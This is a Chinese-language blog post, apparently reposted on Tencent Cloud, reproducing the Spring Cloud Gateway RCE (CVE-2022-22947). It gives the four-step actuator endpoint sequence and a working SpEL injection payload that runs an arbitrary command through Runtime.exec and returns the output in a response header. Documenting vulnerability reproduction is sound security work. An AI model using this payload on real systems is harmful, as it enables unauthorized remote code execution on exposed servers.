首页
学习
活动
专区
圈层
工具
发布

【漏洞复现】SpringGatewayRCE漏洞复现

以下文章来源于重生之成为赛博女保安,作者AugustTheodor

中规中矩的一次,只是之前打这个洞老失败,遇到一个成功的还是记一下。

漏洞描述

Spring Cloud Gateway RCE,一般指的是CVE-2022-22947这个漏洞。在此漏洞存在时,攻击者可未授权添加Filter并执行任意代码。

复现过程

主要是四步走,其中第一步的API可访问说明此漏洞可能存在。

1 /actuator/gateway/routes/

先访问/actuator/gateway/routes,查看此服务是否开启,这里很明显是开着的:

2 POST /actuator/gateway/routes/{filter}

这一步主要是添加一个filter,里面放payload。

这里放一个比较通用的payload,缺点是只能执行同一个命令:

{

"id":"[filter_name]",

"filters":[{

"name":"AddResponseHeader",

"args":{

"name":"Result",

"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"[ur_cmd]\"}).getInputStream()))}"

}

}],

"uri":"http://example.com"}

整体POC长这样,其中id和filter的名字需要对上,返回201则创建成功:

3 /actuator/gateway/refresh

这一步主要是刷新路由,刷新后可以再执行一次routes查看是否注入成功。

直接get就可以,返回200。

再次访问routes,可以看到对应的id和filter,这里其实命令已执行。

4 GET /actuator/gateway/routes/{filter}

payload执行结果将如约出现在返回头中:

最后

记得删除,使用DELETE /actuator/gateway/routes/{filter}:

  • 发表于:
  • 原文链接https://page.om.qq.com/page/OJzBFOIIGK_Meg6tEkdY3CTQ0
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。
领券